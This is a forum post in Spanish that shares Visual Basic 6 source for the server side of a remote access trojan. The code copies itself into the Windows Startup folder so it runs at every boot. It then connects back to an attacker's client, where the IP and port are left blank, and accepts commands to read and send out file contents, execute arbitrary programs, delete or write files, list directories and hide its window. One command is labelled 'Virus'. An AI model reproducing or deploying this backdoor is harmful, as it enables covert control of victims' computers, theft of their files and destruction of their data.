Newbie

Grupo: Members
Mensajes: 7
Registrado: 5-September 07
Miembro nº: 210.771

|
'Este es el servidor : 'SOlo lleva el formulario y un text
Dim con As Integer Dim res, direc As String Dim linea, direcOR As String Dim bite As Byte Dim March() As Byte
Private Sub Form_Load() On Error Resume Next direc = Dir("C:\WINDOWS\Menú Inicio\Programas\Inicio\Server.exe") If direc = "" Then direcOR = App.Path & "\Server.exe" FileCopy direcOR, "C:\WINDOWS\Menúin~1\Programas\Inicio\Server.exe" End If Winsock1.Close Winsock1.RemotePort = '"puerto del cliente" Winsock1.RemoteHost = '"Ip del cliente" Winsock1.Connect End Sub Private Sub Winsock1_Connect() Text1 = "Conexion establecida" Winsock1.SendData Text1 End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) On Error Resume Next ' Cierra la conexión si está abierta mediante la ' comprobación de la propiedad State.
If Winsock1.State <> sckClosed Then Winsock1.Close
' Pasa el valor del parámetro IdSolicitud ' al método Accept. Winsock1.Accept requestID End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData res, vbString, bytesTotal 'Winsock1.PeekData res, vbString, bytesTotal 'Winsock1.GetData March(), vbByte, bytesTotal On Error Resume Next Select Case res = res Case Mid(LCase(res), 1, 5) = LCase("Leer") Open Mid(LCase(res), 7) For Input As 1 Do Until EOF(1) Input #1, linea Winsock1.SendData linea Loop Close #1 Case LCase(res) = LCase("Mostrar") Form1.Show If Err = 0 Then Winsock1.SendData "Echo" End If Case LCase(res) = LCase("Esconder") Form1.Hide If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 8) = LCase("Ejecutar") Shell Mid(res, 9) If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 8) = LCase("Eliminar") Kill Mid(res, 10) If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 5) = LCase("Crear") Open Mid(res, 7) For Binary As #1 Close #1 If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 13) = LCase("Abrir Archivo") Open Mid(res, 15) For Binary As #1 If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 8) = LCase("Escribir") con = con + 1 bite = Mid(res, 10) Put #1, con, bite If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 14) = LCase("Cerrar Archivo") Close #1 If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 8) = LCase("Contador") con = Mid(res, 9) If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 5) = LCase("Salir") Winsock1.Close Winsock1.LocalPort = '"" Winsock1.Listen If Err = 0 Then Winsock1.SendData "Echo" End If Case Mid(LCase(res), 1, 5) = LCase("Virus") cc = InStr(7, res, "exe") direcc = Mid(LCase(res), 7, cc - 4) March() = Mid(March(), cc + 4) Case Mid(LCase(res), 1, 3) = LCase("Dir") Dim x As Long carpArch = Dir(Mid(res, 5), vbArchive + vbDirectory) Winsock1.SendData "Dir -0- " Do Until carpArch = "" x = x + 1 Winsock1.SendData carpArch & " -" & x & "- " carpArch = Dir Loop Case LCase(res) = LCase("Desconectar") Winsock1.Close Winsock1.RemotePort = '"" Winsock1.RemoteHost = '"" Winsock1.Connect End Select Text1 = res End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) On Error Resume Next If (Number = 10061) Or (Number = 10065) Then DoEvents Winsock1.Close Winsock1.RemotePort = '"" Winsock1.RemoteHost = '"" Winsock1.Connect DoEvents 'MsgBox (Number & ": " & Description) End If End Sub
|